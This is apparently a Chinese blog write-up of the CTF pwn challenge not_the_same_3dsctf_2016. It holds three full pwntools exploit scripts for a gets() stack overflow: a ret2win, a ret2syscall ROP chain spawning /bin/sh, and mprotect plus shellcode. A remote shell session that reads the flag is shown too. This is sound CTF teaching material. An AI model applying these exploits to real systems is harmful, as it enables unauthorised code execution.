【pwn做题记录】not_the_same_3dsctf_2016 1

例题:not_the_same_3dsctf_2016 1
首先检查一下文件:

C:\Users\A\Downloads>checksec not_the_same_3dsctf_2016
[*] 'C:\\Users\\A\\Downloads\\not_the_same_3dsctf_2016'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

上面的意思依次是:

  • 32位程序,小端序
  • GOT表不可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

用IDA打开,观察一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}
  • 很明显,这是一个简单的栈溢出。
  • 然后发现这是一个静态程序(通过IDA左边函数栏全白或kali的file命令可以查看)
  • 因此我们可以攻击的方式有很多。

但我们再看一下v4所在的栈(双击v4就可以看到)

-0000002D var_2D          db ?
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
……
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  r              db 4 dup(?)

发现在r前面没有ebp的位置(也就是没有看到平时做题出现的s),因此栈溢出的时候,只需要0x2d的垃圾数据即可,不用加上4(这是外平栈的内容,这里不需要太多了解,只需要注意到这点就行)。

解法1:后门函数

思路分析

在main函数附近,有一个get_secret函数,看一下代码

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}
  • 简单理解就是在fl4g这里写入flag.txt的内容。
    因此我们双击fl4g,看一下是什么
.bss:080ECA2D                 public fl4g
.bss:080ECA2D fl4g            db    ? ;               ; DATA XREF: get_secret+26↑o
.bss:080ECA2E                 db    ? ;
.bss:080ECA2F                 db    ? ;
.bss:080ECA30                 db    ? ;
.bss:080ECA31                 db    ? ;
.bss:080ECA32                 db    ? ;
.bss:080ECA33                 db    ? ;
.bss:080ECA34                 db    ? ;

发现是一个bss段的变量。

因此我们的思路:

  • 调用get_secret函数,并查看fl4g的内容

攻击脚本

这个要本地调试的话,需要在本地新建一个有写入内容的flag.txt文件

from pwn import *
context.log_level = 'debug'
file = "./not_the_same_3dsctf_2016"

elf = ELF(file)
get_secret = elf.symbols["get_secret"]
printf = elf.symbols["printf"]
# 由于get_secret进行了文件操作,为了保证文件正常读写,需要程序正常运行,因此需要有一个exit退出程序
exit_fun = elf.symbols["exit"]

fl4g = 0x080ECA2D

local = 1
if local == 1:
  io = process(file)
else:
  io = remote("node5.buuoj.cn",26879)

payload = b'a' * 0x2d
payload += p32(get_secret) + p32(printf) + p32(exit_fun) + p32(fl4g)
io.sendline(payload)

io.recvline()

解法2:ret2syscall

思路分析

由于是静态程序,因此可以想到使用ret2syscall的方法,构造execve函数

mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80

从中可以看出,我们需要给eax,ebx,ecx,edx赋值,并且还要有一个int 0x80,这里我们用ROPgadget查找一下:

┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary not_the_same_3dsctf_2016 --only "int"
Gadgets information
============================================================
0x0806d8a5 : int 0x80

Unique gadgets found: 1
                                                                                                                                                                 
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret" | grep "eax"
0x0809e01a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08048b0b : pop eax ; ret
0x0804c52d : pop eax ; ret 0x80e
0x0809e019 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
                                                                                                                                                                 
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret" | grep "ecx"
0x0806fcf1 : pop ecx ; pop ebx ; ret
0x0806fcf0 : pop edx ; pop ecx ; pop ebx ; ret

发现都有,这里我们选择以下这几个

0x0806d8a5 : int 0x80
0x08048b0b : pop eax ; ret
0x0806fcf0 : pop edx ; pop ecx ; pop ebx ; ret

由于程序里没有/bin/sh,因此我们需要有一个地方来写/bin/sh,这里就用bss段的一个变量来存放/bin/sh

.bss:080ECDA4                 align 20h
.bss:080ECDC0                 public _tmbuf
.bss:080ECDC0 _tmbuf          db    ? ;               ; DATA XREF: __tz_convert:loc_8090BE1↑o
.bss:080ECDC0                                         ; localtime+3↑o

攻击脚本

from pwn import *
#context.log_level = 'debug'
file = "./not_the_same_3dsctf_2016"

elf = ELF(file)
gets = elf.symbols["gets"]
main = elf.symbols["main"]

pop_eax_ret = 0x8048b0b
pop_edx_ecx_ebx_ret = 0x806fcf0
int_80 = 0x806d8a5
bss = 0x80ecdc0

local = 1
if local == 1:
  io = process(file)
else:
  io = remote("node5.buuoj.cn",26879)

payload = b'a' * 0x2d + p32(gets) + p32(pop_eax_ret) + p32(bss)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss)
payload += p32(int_80)
io.sendline(payload)

payload = b'/bin/sh\x00'
io.sendline(payload)

io.interactive()

解法3:mprotect+shellcode

mprotect的具体内容可以查看【pwn做题记录】08.get_started_3dsctf_2016 1
思路是一样的,这里就不写了,直接脚本
这里的需要修改权限的起始地址我选择这个:
image

from pwn import *
#context.log_level = 'debug'
file = "./not_the_same_3dsctf_2016"

elf = ELF(file)
mprotect = elf.symbols["mprotect"]
gets = elf.symbols["gets"]

memory = 0x80eb000
shellcode = asm(shellcraft.sh())
pop_edx_ecx_ebx_ret = 0x806fcf0 # 用于清理栈

local = 1
if local == 1:
  io = process(file)
else:
  io = remote("node5.buuoj.cn",26879)

payload = b'a' * 0x2d
payload += p32(mprotect) + p32(pop_edx_ecx_ebx_ret) + p32(memory) + p32(0x1000) + p32(0x7)
payload += p32(gets) + p32(memory) + p32(memory)
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

就可以得到flag:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 26879: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{b4dfa6aa-4d28-4165-9487-653604c46f8f}
$ 
[*] Closed connection to node5.buuoj.cn port 26879
posted @ 2025-07-07 14:02  星冥鸢  阅读(64)  评论(0)    收藏  举报